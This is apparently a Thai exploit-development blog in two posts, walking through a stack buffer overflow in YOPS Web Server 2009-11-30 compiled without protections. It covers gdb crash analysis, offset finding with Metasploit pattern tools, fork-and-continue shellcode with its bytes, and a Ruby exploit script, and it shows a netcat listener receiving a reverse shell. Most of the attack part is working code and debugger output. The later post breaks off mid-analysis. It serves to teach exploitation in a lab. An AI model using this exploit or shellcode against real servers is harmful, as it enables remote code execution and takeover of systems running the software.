Saturday, May 14, 2011

ที่ถามคำถาม

เนื่องด้วยใน blog นี้ไม่เหมาะกับการถามตอบข้อสงสัย ผมได้ขอยืมพื้นที่ของ Blackbuntu Board จาก c1ph3r ซึ่งอยู่ในส่วน "Cyber Guide" ถ้าใครสงสัยอะไรก็ไปถามที่นั้นได้นะครับ แต่ขอให้ถามเกี่ยวกับที่ผมเขียนในนี้นะครับ :)

Exploiting YOPS Web Server 2009-11-30 (disable all security options) ต่อ

จากหัวข้อที่แล้ว เราได้ exploit สำหรับ YOPS Web Server 2009-11-30 ที่ต้องทำการ request ปกติก่อนหนึ่งครั้ง แต่จริงๆ แล้วถ้าเราไม่รันโปรแกรมจาก gdb เราไม่จำเป็นต้องส่ง request ปกติก่อน ทั้งนี้เป็นเพราะ gdb ได้เพิ่มค่าต่างๆ ทำให้ memory address ในบาง section ถูกเลื่อน ถ้าใครลองรันโปรแกรมข้างนอก แล้วใช้ gdb attach process จะเห็น exploit สามารถทำงานได้ปกติตั้งแต่ request แรก

ทุกคนคงเห็นแล้วว่า exploit ที่เรามีตอนนี้ยิงได้ครั้งเดียว หลังจากเรา exit shell ที่เราได้ โปรแกรมก็จะจบตามไปด้วย ในหัวข้อนี้เราจะมาลองทำให้ยิงแล้วโปรแกรมไม่ crash และเมื่อออกแล้วโปรแกรมยังสามารถทำงานได้ปกติ แต่เพื่อเป็นการฝึก ผมจะเปลี่ยนการเขียน exploit ที่ใช้ภาษา python เป็น ruby ซึ่งผมก็ไม่เคยเขียนมาก่อนเหมือนกัน และแปลง exploit สุดท้ายจากหัวข้อที่แล้วได้เป็น (ลองฝึกแปลงเองก่อนดีกว่านะ) ex12_yops2_1.rb

โดยส่วนมาก โปรแกรมที่เป็น server บน Linux จะทำการ (pre-)fork ตัวเอง เพื่อจัดการกับ connection ที่ client ต่อเข้ามา แต่เนื่องด้วยโปรแกรมนี้ทำงานแบบ multi-threads มี process เดียว ทำให้เมื่อเราทำโปรแกรม crash หรือออกจาก reverse shell ที่เราได้ทำให้โปรแกรมจบไปด้วย ดังนั้นสิ่งที่เราต้องทำเพื่อให้โปรแกรมทำงานต่อได้หลังจากยิง exploit คือไม่ทำให้โปรแกรม crash (ทำได้แล้ว) และ shellcode เราต้องทำการ fork ก่อนที่จะทำ reverse shell เพื่อไม่ให้ shell เราแทนที่โปรแกรมหลัก นอกจากนี้แล้วเราต้องทำให้โปรแกรมหลักกลับเข้าสู่การทำงานปกติ

การที่เราจะ fork ก็ง่ายนิดเดียว เขียน shellcode ให้ทำการ fork ซึ่ง syscall number คือ 2 โดย process ลูกจะ return ค่า 0 มา ดังนั้น assembly คราวๆ ที่จะได้คือ

# fork()
xorl %eax,%eax
movb $2,%al     # fork syscall number
int  $0x80

test %eax,%eax
jz   child
# parent

child:
# child (our reverse shellcode here)

ในส่วนของ child ก็คือ shellcode เดิมของเรา แต่ส่วนที่เราต้องแก้ปัญหาคือ parent เพราะเราได้ทำการเขียนทับข้อมูลบน stack จนเละไปแล้ว รวมถึงได้เปลี่ยน eip มาอยู่บน stack เพื่อที่จะรัน shellcode ของเรา ดังนั้นสิ่งที่ต้องมีใน shellcode ของเราแน่ๆ คือ jmp กลับไปงานต่อที่ที่เราแก้ saved eip ไป เรามาดูค่าต่างๆ ใน stack ใน swebs_record_log function ก่อน

$ gdb ./swebs
...
(gdb) b swebs_record_log
Breakpoint 1 at 0x804a7d8: file swebs.c, line 545.
(gdb) r
...
Breakpoint 1, swebs_record_log (log=5, job=0x804f198) at swebs.c:545
545             memset(logrec, 0, sizeof(logrec));
(gdb) bt  # ดู call stack
#0  swebs_record_log (log=5, job=0x804f198) at swebs.c:545
#1  0x0804cdf9 in logger_th (arg=0x804e4a8) at main.c:382
#2  0x0014596e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0
#3  0x00226a4e in clone () from /lib/tls/i686/cmov/libc.so.6
(gdb) i f 1    # ดู stack frame ที่เราจะต้องทำให้โปรแกรมกลับไปทำงานต่อ
Stack frame at 0xb7fff3a0:
 eip = 0x804cdf9 in logger_th (main.c:382); saved eip 0x14596e
 called by frame at 0xb7fff4a0, caller of frame at 0xb7fff350
 source language c.
 Arglist at 0xb7fff398, args: arg=0x804e4a8
 Locals at 0xb7fff398, Previous frame s sp is 0xb7fff3a0
 Saved registers:
  ebp at 0xb7fff398, eip at 0xb7fff39c
(gdb) x/24x $ebp   # ดูค่าบน stack สำหรับ logger_th function
0xb7fff348:     0xb7fff398      0x0804cdf9      0x00000005      0x0804f198
0xb7fff358:     0x00000000      0x00000000      0x00000000      0x00000000
0xb7fff368:     0x00000000      0x00000000      0x00000000      0x00000000
0xb7fff378:     0x00000000      0x0804f198      0x0804e4a8      0x00000000
0xb7fff388:     0x00000011      0x00000005      0x00000000      0x00000000
0xb7fff398:     0xb7fff498      0x0014596e      0x0804e4a8      0x00000002

สิ่งที่เราเห็นอย่างแรกคือ โปรแกรมต้องไปทำงานต่อที่ 0x0804cdf9 เมื่อจบ swebs_record_log function และเมื่อดูต่อจะได้ ebp เมื่อกลับไปทำงานที่ logger_th function ต้องเป็น 0xb7fff398 แต่เราได้เห็นจาก exploit ที่เราเขียนกันก่อนหน้านี้ว่า address ของ stack มันไม่แน่ไม่นอน ขึ้นอยู่กับหลายๆ อย่าง ดังนั้นถ้าเราใช้ค่านี้ อาจจะใช้ได้สำหรับเครื่องบางเครื่อง

สิ่งที่เรารู้แน่คือ ค่าของ esp หลังจากคำสั่ง ret ใน swebs_record_log function จะถูกต้องเสมอ (ถ้างงก็ลองไล่ใน gdb ดูนะครับ) โดยสำหรับกรณีนี้คือ 0xb7fff350 และระยะห่างระหว่าง esp กับ ebp จะคงที่คือ ดังนั้นคำสั่ง assembly ที่เราสามารถนำมาใช้เพื่อแก้ ebp ให้เป็นปกติคือ 0xb7fff398 - 0xb7fff350 = 0x48

lea  0x48(%esp),%ebp

ต่อไปคือ การเปลี่ยน eip กับไปที่เดิมคือ 0x0804cdf9 โดยเราสามารถใส่คำสั่ง jmp ไปตรงๆ ได้เลย แต่ผมไม่ชอบวิธีนี้ เพราะว่าถ้า address ของ code เปลี่ยน เราจะแก้ลำบาก ซึ่งวิธีของผมคือใช้

jmp  (%esp)

เนื่องด้วยหลังจากจบ swebs_record_log function ด้วยคำสั่ง ret ค่าของ esp จะชี้ไปที่ argument แรกคือ log argument ซึ่งตอนนี้เราเขียนค่าขยะลงไป ดังนั้นถ้าเราเปลี่ยนเป็น address ที่เราต้องการกลับไปทำงานต่อ เราสามารถใช้คำสั่ง "jmp (%esp)"

สิ่งที่ต้องระวังอีกอย่างคือ เราต้องไม่ไปเขียนทับตัวแปรของ logger_th function และ exploit ต้องมีการเขียนเกินอยู่แล้วด้วย ซึ่งโชคดีที่มีพื้นที่อยู่พอสมควรหลังจาก job argument (ดูจากจำนวน 0x00000000) แต่เพื่อให้ปลอดภัยมากขึ้นเวลา request ผมจะไม่ใส่ " HTTP/1.0" เพื่อที่จะให้มีการเขียนต่อท้ายน้อยลง

สิ่งสุดท้ายที่จะต้อง check คือในบาง function จะมีการ save ค่า register ไว้ก่อนใน stack แล้วแก้ค่ากลับก่อนจบ function เพื่อให้ function ที่เรียกมันใช้ค่าใน register ได้เลย ซึ่งเมื่อเราดูที่ swebs_record_log function จะได้

$ objdump -d -j .text swebs | awk /^.*swebs_record_log\>:$/,/^$/
0804a7cc <swebs_record_log>:
 804a7cc:       55                      push   %ebp
 804a7cd:       89 e5                   mov    %esp,%ebp
 804a7cf:       57                      push   %edi
 804a7d0:       56                      push   %esi
 804a7d1:       53                      push   %ebx
...
 804a96f:       5b                      pop    %ebx
 804a970:       5e                      pop    %esi
 804a971:       5f                      pop    %edi
 804a972:       5d                      pop    %ebp
 804a973:       c3                      ret

จะเห็นว่ามีการ save ค่า edi, esi และ ebx และเมื่อเรา check ที่ function ที่เรียกคือ logger_th function ตามคำสั่งข้างล่างจะเห็นว่าไม่พบมีการใช้ register พวกนี้เลย ดังนั้นเราสามารถเขียนทับค่าพวกนี้ได้ตามใจชอบ

$ objdump -d -j .text swebs | awk /^.*logger_th\>:$/,/^$/ | grep -e ebx -e esi -e edi
$

ดังนั้น shellcode ของเราตอนนี้จะเป็น

lea  0x48(%esp),%ebp # fixed up ebp
jmp  (%esp)

ซึ่งเมื่อ build ออกมาจะได้

\x8d\x6c\x24\x48\xff\x24\x24

หลังจากได้ทุกอย่างพร้อมแล้ว เราก็มาทดสอบทำให้โปรแกรมทำงานต่อไปได้โดยไม่ crash ก่อน โดยยังไม่มีการทำ fork และ reverse shell จะได้ code เป็น (ex12_yops2_2.rb)

require 'socket'

target_ip = "127.0.0.1"
target_port = 8888
def send_request(ip, port, request)
    s = TCPSocket.open(ip, port)
    s.write(request)
    msg = s.recv(8192)
    s.close()
    return msg
end

my_pub_ip = "127.0.0.1"
offset_no_ip = 828
offset = offset_no_ip - my_pub_ip.length
job_addr = 0x0804d0c9 - 0x1024
sc_addr = 0xb7fff080

sc = "\x8d\x6c\x24\x48\xff\x24\x24"

space = 700 # estimate
payload = "\x90"*(space - sc.length) + sc
cont_eip = 0x0804cdf9

page = payload+"A"*(offset-payload.length)+[sc_addr, cont_eip, job_addr].pack('VVV')
print send_request(target_ip, target_port, "GET "+page+"\r\n\r\n")

ด้วย exploit นี้เราทำให้เกิด buffer overflow แล้วทำให้โปรแกรมกลับไปทำงานตามปกติ ซึ่งเมื่อทดสอบจะเห็นว่าเรายิงกี่ครั้งก็ได้ โปรแกรมก็ยังสามารถทำงานต่อไปได้

เมื่อทดสอบให้โปรแกรมทำงานต่อได้แล้ว เรามาเขียน shellcode แบบที่เราต้องการคือ fork แล้วทำ reverse shell ที่ child process ส่วน parent process ก็ให้ทำงานปกติต่อไป ซึ่งจะได้เป็น (ex12_yops2_sc.s)

.data
.text
.globl _start

_start:
# fork()
xorl %eax,%eax   # set eax to 0 with xor
movb $2,%al     # fork syscall number
int  $0x80

test %eax,%eax
jz   child
lea  0x48(%esp),%ebp # fixed up ebp
jmp  *(%esp)

child:
inc  %eax      # to be replace with real shellcode
$ build-sc.sh ex12_yops2_sc.s
Compiling ex12_yops2_sc.s to ex12_yops2_sc.o

Extracting shellcode from ex12_yops2_sc.o to ex12_yops2_sc.sc
\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x74\x07\x8d\x6c\x24\x48\xff\x24\x24\x40

Creating ex12_yops2_sc.sctest.c

Compiling ex12_yops2_sc.sctest.c to ex12_yops2_sc.sctest

สุดท้ายเมื่อเราเปลี่ยน shellcode ใน exploit เดิม (ex12_yops2.rb) เราจะสามารถยิงกี่ครั้งก็ได้

$ nc -nvl 4444
Connection from 127.0.0.1 port 4444 [tcp/*] accepted
id
uid=1000(worawit) gid=1000(worawit) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(worawit)

Sunday, May 8, 2011

Exploiting YOPS Web Server 2009-11-30 (disable all security options)

เรามาดูตัวอย่างต่อไป ตัวอย่างนี้จะเขียน exploit สำหรับ YOPS Web Server 2009-11-30 ซึ่งได้มีคนเขียน PoC เอาไว้ที่ http://www.exploit-db.com/exploits/14976/ และ source code ของโปรแกรมก็ให้โหลดจาก exploit-db นะครับ และเหมือนเดิมเรายังคง compile โปรแกรมแบบไม่มีการป้องกันใดๆ

Installation

หลังจากที่ได้ source code มาแล้วเราทำการ extract โดยผมได้ทำการแก้ไข Makefile ใหม่ เพื่อที่จะได้ใส่ gcc option จาก command line ได้

$ cd
$ tar xjf yops-2009-11-30.tar.bz
...
$ cd swebs
$ wget -O Makefile https://sites.google.com/...
...
$ CFLAGS="-fno-stack-protector -z norelro -z execstack" make
...

เมื่อ extract จะได้ 2 directories คือ swebs กับ www ซึ่ง www directory จำเป็นต้องอยู่ใน home directory ถ้าใคร extract ที่ directory อื่นก็ให้ย้ายมาที่ home ก่อนที่จะรันโปรแกรมนะครับ

Vulnerability

ถ้าเราดู bug description จาก exploit-db จะเห็นว่าปัญหาอยู่ใน swebs_record_log function ใน swebs.c ตรงที่เรียก sprintf function

int swebs_record_log(int log, JOB *job)
{
    int err;
    time_t now;
    char timestr[32];
    char logrec[MAX_REQUEST_LINE_LEN + 1];

    memset(logrec, 0, sizeof(logrec));
    flock(log, LOCK_EX);
    time(&now);
    ctime_r(&now, timestr);
    timestr[strlen(timestr)-1] = '\0';

    sprintf (
        logrec,
        "%s\t[%s]\t\"%s\"\t(%d+%d/%d)\t%d",
        job->client,
        timestr,
        job->hdr.request_line, // ค่าที่น่าจะเป็น input ของเรา
        job->response_hlen,
        job->response_blen_sent,
        job->response_blen,
        job->status
        );

    if (strlen(job->reason_500)) {
        strcat(logrec, " [");
        strcat(logrec, job->reason_500);
        strcat(logrec, "]");
    }
    strcat(logrec, "\n");
    err = write(log, logrec, strlen(logrec));
    flock(log, LOCK_UN);
    return 0;
}

จาก code ข้างบนจะเห็นว่าตัวแปรที่น่าจะเราน่าจะควบคุมได้คือ "job>hdr.request_line" โดย job กับ hdr เป็น struct และเพื่อให้เข้าใจมากขึ้น เรามาดูรายละเอียดที่ไฟล์ swebs.h และ http.h

// from swebs.h
typedef struct job {
    //...

    /* filled by parser */
    int parser;
    struct http_request_header hdr;
    char content_type[64+1];
    char error_file[32+1];
    char index_file[128+1];
    //...
    int logger;
} JOB;

// from http.h
#define MAX_METH_LEN 8

#define MAX_FILE_LEN 256
#define MAX_PINF_LEN 256
#define MAX_ARGS_LEN 256
#define MAX_URL_LEN (MAX_FILE_LEN + MAX_PINF_LEN + MAX_ARGS_LEN)
#define MAX_HTTP_LEN 16

#define MAX_REQUEST_LINE_LEN (MAX_METH_LEN + MAX_URL_LEN + MAX_HTTP_LEN)

#define MAX_HDR_LEN (MAX_METH_LEN + MAX_URL_LEN + MAX_TOTAL_PARM_LEN + 16)

typedef struct http_request_header {
    /* header buf */
    char buf[MAX_HDR_LEN+1];

    /* request line */
    char request_line[MAX_REQUEST_LINE_LEN+1];
    char *method;
    char *file;
    char *path_info;
    char *args;

    char *http;
    int ver;
    int subver;

    /* general */
    int code;
    int Cache_Control;

    char *Connection;
    char *Accept;
    char *Host;
    char *Referer;
    char *User_Agent;
} HTTP_REQUEST_HEADER;

จาก "struct job" เราเดาได้ว่า struct นี้เก็บข้อมูลที่เกี่ยวกับ request ทั้งหมด และ hdr ใน "struct job" ใช้เก็บข้อมูลของ http request หลังจากนั้นเรามาหากันว่าโปรแกรมเอา request ที่เราส่งเก็บใส่ตัวแปร request_line อย่างไร

$ grep -n request_line *.c
http.c:163:     strncpy(h->request_line, data, s - data);
main.c:383:             printf("logger #%d: '%s' LOGGED [%d]\n", id, job->hdr.request_line, job->status);
swebs.c:370://  printf("\n+++ rqst: '%s'\n", job->hdr.request_line);
swebs.c:556:            job->hdr.request_line,

จะเห็นว่าบรรทัดที่น่าสนใจคือ "http.c:163:" และเมื่อดู source code จะเห็นว่าอยู่ใน http_parse_request_header function

int http_parse_request_header(char *data, struct http_request_header *h)
{
    int r;
    int ver, rev;
    char *s, *tok, *l, *prm;

    s = strstr(data, "\r\n"); // หาที่จบของบรรทัดแรก
    strncpy(h->request_line, data, s - data); // copy ข้อมูลทั้งบรรทัดแรกเข้า request_line

    /* dealing with method (leading spaces already handled) */
    h->method = tok = data;
    /* max method !!! */
    while ( !isspace(tok[0]) && ( (tok-data) < MAX_METH_LEN) )
        tok++;
    if ((tok-data) >= MAX_METH_LEN)
        return -400;
    // ...
}

จากโค้ดจะเห็นว่าฟังก์ชัน http_parse_request_header copy ข้อมูลทั้งบรรทัดแรกไปที่ request_line ซึ่งทำให้เกิด buffer overflow ใน heap และทำให้ sprintf ใน swebs_record_log function นั้นใส่ค่าของเราลง logrec โดยที่ไม่มีการกำหนดขนาดของ logrec

Exploitation

เรามาลองใส่ input ยาวๆ เพื่อที่จะดูผลว่าเป็นอย่างไร โดยผมจะส่ง request page ด้วยความยาว 2000 ตัวอักษร (ex12_yops_1.py)

print send_request(target_ip, target_port, "GET "+"A"*2000+" HTTP/1.0\r\n\r\n")
$ gdb ./swebs
...
Opening log (.log/access.log)... OK
Parsing config file (.conf/config)...
'tcp_port' = 8888
...
Creating LOGGER(s) (1 instances)... [New Thread 0xb7fffb70 (LWP 1649)]
OK
MANAGER: 1 jobs in ACCEPTOR->PARSER queue
errorer #1 has job (status = 404) (.errors/404.html)
swebs: tpp.c:63: __pthread_tpp_change_priority: Assertion 'new_prio == -1 || (new_prio >= __sched_fifo_min_prio && new_prio <= __sched_fifo_max_prio)' failed.

Program received signal SIGABRT, Aborted.
[Switching to Thread 0x52beb70 (LWP 1643)]
0x0012d422 in __kernel_vsyscall ()
(gdb)  bt
#0  0x0012d422 in __kernel_vsyscall ()
#1  0x00183651 in raise () from /lib/tls/i686/cmov/libc.so.6
#2  0x00186a82 in abort () from /lib/tls/i686/cmov/libc.so.6
#3  0x0017c718 in __assert_fail () from /lib/tls/i686/cmov/libc.so.6
#4  0x0014f34c in __pthread_tpp_change_priority ()
   from /lib/tls/i686/cmov/libpthread.so.0
#5  0x00147a2d in __pthread_mutex_lock_full ()
   from /lib/tls/i686/cmov/libpthread.so.0
#6  0x0804cb3c in errorer_th (arg=0x804e448) at main.c:313  # crash ที่บรรทัด 313 ใน main.c
#7  0x0014596e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0
#8  0x00226a4e in clone () from /lib/tls/i686/cmov/libc.so.6
(gdb) list 313
308                             goto file_vanished;
309                     };
310
311                     http_set_content_type(job->hdr.file, job->content_type);
312                     swebs_send_response(job);
313                     pthread_mutex_lock(&job->block);  # บรรทัดที่ทำให้ crash
314                     swebs_load_fragment(0, job, &config);
315                     pthread_mutex_unlock(&job->block);
316                     r = swebs_pass_job_on(sender, job);
317                     CHECK_AND_EXIT(r == sizeof(JOB*));

จะเห็นว่าโปรแกรม crash เพราะว่าข้อมูลที่เราใส่เข้าไป เขียนทับส่วนที่สำคัญที่มีผลทำให้โปรแกรม detect เจอข้อผิดพลาดและหยุดการทำงาน หรือพูดง่ายๆ เราใส่ข้อมูลยาวเกินไป (บางครั้งอาจจะเกิด error จาก malloc ที่ detect ได้ว่า heap corrupt เพราะโปรแกรมนี้เป็นแบบ multi-threads แล้วแต่ว่าโปรแกรมทำงาน thread ไหนก่อน)

คราวนี้เรามาดูขนาดที่ไม่ยาวเกินไปบ้าง โดยครั้งนี้จะส่งความยาว 1000 ตัวอักษร (แก้ code เดิมเอาเองนะครับ)

(gdb) r
...
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0xb7fffb70 (LWP 1667)]
0x0804cdfc in logger_th (arg=0x0) at main.c:383
383                     printf("logger #%d: '%s' LOGGED [%d]\n", id, job->hdr.request_line, job->status);
(gdb) list 383
378                     job = swebs_get_job_from(someone);
379                     CHECK_AND_EXIT(job);
380                     job->logger = id;
381
382                     swebs_record_log(log, job);  # function ที่มี bug sprintf
383                     printf("logger #%d: '%s' LOGGED [%d]\n", id, job->hdr.request_line, job->status);
384                     pthread_mutex_lock(&job->block);
385                     zfree((void**)&job);
386             };
387     }
(gdb) i r ebp
ebp            0xb7ff000a       0xb7ff000a

จะเห็นว่าเกิด error ที่บรรทัด 383 ใน main.c ซึ่งอยู่หลัง function ที่มี bug ซึ่งโดยปกติมันควรจะ overflow เขียนทับ saved eip แล้วโปรแกรมจะ crash ตอนจบ swebs_record_log function เพราะ eip ชี้ไปที่ invalid address แต่ครั้งนี้โปรแกรมกลับจบ swebs_record_log function ได้ และมา crash ที่ printf ซึ่งทำให้ผมเดาได้ว่าเราได้เขียนทับ saved ebp แต่ไม่ได้เขียนทับ saved eip (ลองคิดดูนะครับ ว่าทำไมผมถึงเดาได้) เพื่อให้รู้สาเหตุ เรามา break ที่ sprintf ใน swebs_record_log function

(gdb) b swebs.c:551
Breakpoint 1 at 0x804a839: file swebs.c, line 551.
(gdb) r
...
[Switching to Thread 0xb7fffb70 (LWP 2317)]

Breakpoint 1, swebs_record_log (log=5, job=0x804f228) at swebs.c:551
551             sprintf (
(gdb) print job->hdr
$1 = {
  buf = "GET\000", 'A' <repeats 1000 times>, "\000HTTP/1.0\000\000\r\n", '\000' <repeats 1823 times>, request_line = "GET ", 'A' <repeats 789 times>,
  method = 0x804f24c "GET", file = 0x80500f9 ".errors/404.html",  # ค่าของตัวแปร file มี 0x00
  path_info = 0x41414141 <Address 0x41414141 out of bounds>,
  args = 0x41414141 <Address 0x41414141 out of bounds>,
  http = 0x804f639 "HTTP/1.0", ver = 1094795585, subver = 1094795585,
  code = 1094795585, Cache_Control = 1094795585,
  Connection = 0x41414141 <Address 0x41414141 out of bounds>,
  Accept = 0x41414141 <Address 0x41414141 out of bounds>,
  Host = 0x41414141 <Address 0x41414141 out of bounds>,
  Referer = 0x41414141 <Address 0x41414141 out of bounds>,
  User_Agent = 0x41414141 <Address 0x41414141 out of bounds>}
(gdb) x/5s job->hdr.request_line
0x804fd65:       "GET ", 'A' <repeats 196 times>...
0x804fe2d:       'A' <repeats 200 times>...
0x804fef5:       'A' <repeats 200 times>...
0x804ffbd:       'A' <repeats 195 times>, "L\362\004\b", <incomplete sequence \371>
0x8050085:       ""
(gdb) p printf(job->hdr.request_line)
$8 = 800

เมื่อเราดูค่าของ "job->hdr" จะเห็นว่าตัวแปร method, file ที่ประกาศหลัง request_line นั้นไม่ได้มีค่าเป็น 0x41414141 และค่าของตัวแปร file นั้นมี 0x00 อยู่ด้วย ทำให้ข้อมูลที่เราตั้งใจจะทำให้เกิด overflow โดนเปลี่ยนค่าตรงกลางทำให้ sprintf function ไม่ copy ข้อมูลเราทั้งหมดเข้าไปใน buffer และเขียนทับไปถึงแค่ saved ebp

จาก address ของ job ทำให้เรารู้ว่าข้อมูลส่วนนี้ถูกจองใน heap ซึ่งการจองครั้งแรกจะได้ address ที่ 0x00 ที่ตัวแปร file เสมอ ดังนั้นถ้าเราลอง request ครั้งแรกปกติ และค่อย overflow ครั้งที่สอง (ex12_yops_2.py)

# ยังไม่ออกจาก gdb
(gdb) ignore 1 1
Will ignore next crossing of breakpoint 1.
(gdb) r
...
[Switching to Thread 0xb7fffb70 (LWP 1613)]

Breakpoint 1, swebs_record_log (log=5, job=0x8050a48) at swebs.c:551
551             sprintf (
(gdb) print job->hdr
$1 = {
  buf = "GET\000", 'A' <repeats 1000 times>, "\000HTTP/1.0\000\000\r\n", '\000' <repeats 1823 times>, request_line = "GET ", 'A' <repeats 789 times>,
  method = 0x8050a6c "GET", file = 0x8051919 ".errors/404.html",  # ไม่มี 0x00 แล้ว
  path_info = 0x41414141 <Address 0x41414141 out of bounds>,
...
  Referer = 0x41414141 <Address 0x41414141 out of bounds>,
  User_Agent = 0x41414141 <Address 0x41414141 out of bounds>}
(gdb) print printf(job->hdr)
$2 = 0
(gdb) print printf(job->hdr.request_line)
GET AAA...
$3 = 875
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x0804a8c1 in swebs_record_log (log=1094795585, job=0x41414141) at swebs.c:563
563             if (strlen(job->reason_500)) {
(gdb) i f
Stack level 0, frame at 0xb7fff350:
 eip = 0x804a8c1 in swebs_record_log (swebs.c:563); saved eip 0x41414141
 called by frame at 0xb7fff354
...

จะเห็นว่าคราวนี้ เราสามารถ overwrite saved eip ได้แล้ว ถึงแม้ว่าตัวแปร method และ file จะโดนเปลี่ยน แต่ไม่มี 0x00 และจุดที่ให้สังเกตอีกจุดคือ โปรแกรม crash ที่บรรทัด 563 ใน swebs.c เพราะตัวแปร job เก็บค่า address 0x41414141 ซึ่งเป็น invalid address

ถ้าดูที่ code จะเห็นว่าตัวแปร job เป็น function argument แสดงว่าอยู่หลัง saved eip และโดยปกติแล้วผมจะพยายามที่จะไม่เขียนทับค่าที่อาจทำให้เกิด access memory ที่ invalid แต่ครั้งนี้จะเห็นว่า sprintf นั้นยังคง copy ค่าอื่นๆ ต่อจาก input ของเราแล้ว ดังนั้นถ้าเรา overwrite เฉพาะ saved eip จะทำให้ตัวแปร job นั้นชี้ไปที่ invalid address เดี๋ยเราค่อยมาแก้ปัญหาของตัวแปร job ตอนนี้เรามาหาว่าเราต้อง input ข้อมูลยาวเท่าไรถึงจะเขียนทับ saved eip พอดี รวมถึงเราจะหาว่ายาวเท่าไรถึงทับ job argument ด้วย (ซึ่งรู้อยู่แล้วว่าห่างจาก saved eip 8 bytes เพราะเป็น argument ตัวที่ 2)

ในตัวอย่างก่อนหน้านี้ ผมใช้วิธีดู assembly แล้วคำนวณระยะห่าง แต่ครั้งนี้ผมจะใช้ pattern_create.rb กับ pattern_offset.rb ซึ่งเป็น tool ที่มากับ metasploit

$ /opt/metasploit3/msf3/tools/pattern_create.rb 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

เมื่อได้ pattern แล้ว นำไปใส่ที่ input ของเรา (ex12_yops_3.py)

$ gdb ./swebs
...
(gdb) r
...
[Switching to Thread 0xb7fffb70 (LWP 1724)]
0x0804a8c1 in swebs_record_log (log=1648505954, job=0x36624235) at swebs.c:563
563             if (strlen(job->reason_500)) {
(gdb) i f
Stack level 0, frame at 0xb7fff350:
 eip = 0x804a8c1 in swebs_record_log (swebs.c:563); saved eip 0x42336242
 called by frame at 0xb7fff354
...

หลังจากได้ค่า saved eip เป็น 0x42336242 และ job เป็น 0x36624235 เรามาหา offset

$ /opt/metasploit3/msf3/tools/pattern_offset.rb 0x42336242
819
$ /opt/metasploit3/msf3/tools/pattern_offset.rb 0x36624235
827

เมื่อเราได้ offset จาก pattern_offset.rb เรามาแก้โค้ดเพื่อทดสอบกันโดยผมจะเขียนทับ saved eip ด้วยค่า "BBBB" (0x42424242) และ job ด้วยค่า "CCCC" (0x43434343) และถ้าเราดูที่ code หรือ log จะเห็นว่า sprintf นั้นได้ใส่ IP address ของ client ที่ต่อไว้ข้างหน้าด้วยเหมือนกับตัวอย่าง orzhttpd ที่แล้ว ทำให้ offset ถึง saved eip ถ้าไม่มี IP address คือ 819+9=828 (ex12_yops_4.py)

(gdb) r
...
0x0804a8c1 in swebs_record_log (log=1094795585, job=0x43434343) at swebs.c:563
563             if (strlen(job->reason_500)) {
(gdb) i f
Stack level 0, frame at 0xb7fff350:
 eip = 0x804a8c1 in swebs_record_log (swebs.c:563); saved eip 0x42424242
...

ค่าทุกค่าเป็นไปตามที่เราต้องการแล้ว ตอนนี้เราก็ต้องมาจัดการกับ job argument ถ้าเรามาดู code ส่วนนี้อีกครั้ง

    if (strlen(job->reason_500)) {
        strcat(logrec, " [");
        strcat(logrec, job->reason_500);
        strcat(logrec, "]");
    }
    strcat(logrec, "\n");
    err = write(log, logrec, strlen(logrec));
    flock(log, LOCK_UN);
    return 0;
}

โปรแกรมทำการ check ว่า job->reasion_500 เก็บข้อความอะไรไว้หรือไม่ ถ้าไม่เก็บจะไม่ทำใน if และหลังจากนั้นจะไม่มีการอ้างถึง job arguemnt อีก ดังนั้นเพื่อให้ง่ายเราควรที่จะเขียนทับค่า job ที่ทำให้ job>reasion_500 นั้นชี้ไปที่ข้อความที่มีความยาวเป็น 0

เนื่องด้วยโปรแกรมที่อยู่ใน memory แบ่งเป็น section ต่างๆ และ section ที่เก็บ string เอาไว้คือ .rodata ดังนั้นผมจะขอยืมใช้ address ในนี้ที่เก็บ NULL เอาไว้เพื่อให้โปรแกรมทำงานต่อไปได้

$ objdump -h swebs | grep -A 1 .rodata
